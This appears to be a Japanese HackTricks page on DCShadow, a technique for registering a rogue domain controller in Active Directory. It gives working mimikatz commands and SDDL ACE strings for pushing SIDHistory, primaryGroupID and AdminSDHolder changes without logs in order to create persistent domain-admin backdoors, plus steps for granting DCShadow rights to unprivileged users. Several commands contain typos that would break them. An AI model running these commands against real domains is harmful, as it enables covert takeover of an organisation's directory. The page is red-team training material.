DCShadow

htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ

HackTricks をサポートする他の方法:

DCShadow

これは新しい ドメインコントローラ を AD に登録し、指定されたオブジェクトに対して SIDHistory、SPNsなどの属性を ログを残さずに プッシュ するために使用します。 変更に関するログ残りませんDA 権限 が必要で、 ルートドメイン 内にいる必要があります。 間違ったデータを使用すると、かなり醜いログが表示されます。

攻撃を実行するには、2つの mimikatz インスタンスが必要です。そのうちの1つは SYSTEM 権限 で RPC サーバーを起動し(ここに行いたい変更を指定する必要があります)、もう1つのインスタンスは値をプッシュするために使用されます:

mimikatz1(RPCサーバー)
!+
!processtoken
lsadump::dcshadow /object:username /attribute:Description /value="My new description"
mimikatz2 (push) - DAまたは同等の権限が必要
lsadump::dcshadow /push

elevate::tokenmimikatz1セッションでは機能しないことに注意してください。なぜなら、それはスレッドの特権を昇格させるものであり、私たちはプロセスの特権を昇格する必要があるからです。 また、「LDAP」オブジェクトを選択することもできます:/object:CN=Administrator,CN=Users,DC=JEFFLAB,DC=local

DAからまたはこれらの最小権限を持つユーザーから変更をプッシュできます:

  • ドメインオブジェクト

    • DS-Install-Replica(ドメイン内のレプリカの追加/削除)

    • DS-Replication-Manage-Topology(レプリケーショントポロジの管理)

    • DS-Replication-Synchronize(レプリケーション同期)

  • 構成コンテナ内のサイトオブジェクト(およびその子):

    • CreateChild and DeleteChild

  • DCとして登録されているコンピューターのオブジェクト

    • WriteProperty(Writeではなく)

  • ターゲットオブジェクト

    • WriteProperty(Writeではなく)

Set-DCShadowPermissionsを使用して、特権のないユーザーにこれらの特権を付与できます(これにより一部のログが残ります)。これはDA特権を持つよりもはるかに制限されたものです。 例:Set-DCShadowPermissions -FakeDC mcorp-student1 SAMAccountName root1user -Username student1 -Verbose これは、ユーザー名_student1がマシンmcorp-student1にログオンしているときに、オブジェクトroot1user_に対するDCShadow権限を持つことを意味します。

DCShadowを使用してバックドアを作成する

lsadump::dcshadow /object:student1 /attribute:SIDHistory /value:S-1-521-280534878-1496970234-700767426-519
Chage PrimaryGroupID (put user as member of Domain Administrators)
lsadump::dcshadow /object:student1 /attribute:primaryGroupID /value:519
AdminSDHolderのntSecurityDescriptorを変更する(ユーザーに完全な制御権を付与する)
#First, get the ACE of an admin already in the Security Descriptor of AdminSDHolder: SY, BA, DA or -519
(New-Object System.DirectoryServices.DirectoryEntry("LDAP://CN=Admin SDHolder,CN=System,DC=moneycorp,DC=local")).psbase.Objec tSecurity.sddl
#Second, add to the ACE permissions to your user and push it using DCShadow
lsadump::dcshadow /object:CN=AdminSDHolder,CN=System,DC=moneycorp,DC=local /attribute:ntSecurityDescriptor /value:<whole modified ACL>

シャドウセプション - DCShadowを使用してDCShadow権限を付与する(変更された権限ログなし)

次のACEに、ユーザーのSIDを末尾に追加する必要があります:

  • ドメインオブジェクトに対して:

  • (OA;;CR;1131f6ac-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)

  • (OA;;CR;9923a32a-3607-11d2-b9be-0000f87a36b2;;UserSID)

  • (OA;;CR;1131f6ab-9c07-11d1-f79f-00c04fc2dcd2;;UserSID)

  • 攻撃者のコンピュータオブジェクトに対して:(A;;WP;;;UserSID)

  • ターゲットユーザーオブジェクトに対して:(A;;WP;;;UserSID)

  • 構成コンテナ内のサイトオブジェクトに対して:(A;CI;CCDC;;;UserSID)

オブジェクトの現在のACEを取得するには:(New-Object System.DirectoryServices.DirectoryEntry("LDAP://DC=moneycorp,DC=loca l")).psbase.ObjectSecurity.sddl

この場合、1つだけでなく複数の変更を行う必要があることに注意してください。したがって、mimikatz1セッション(RPCサーバー)で、各変更に**/stackパラメータを使用します。この方法で、ルージュサーバーですべてのスタックされた変更を実行するには、1回だけ/push**する必要があります。

ired.teamのDCShadowに関する詳細情報

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated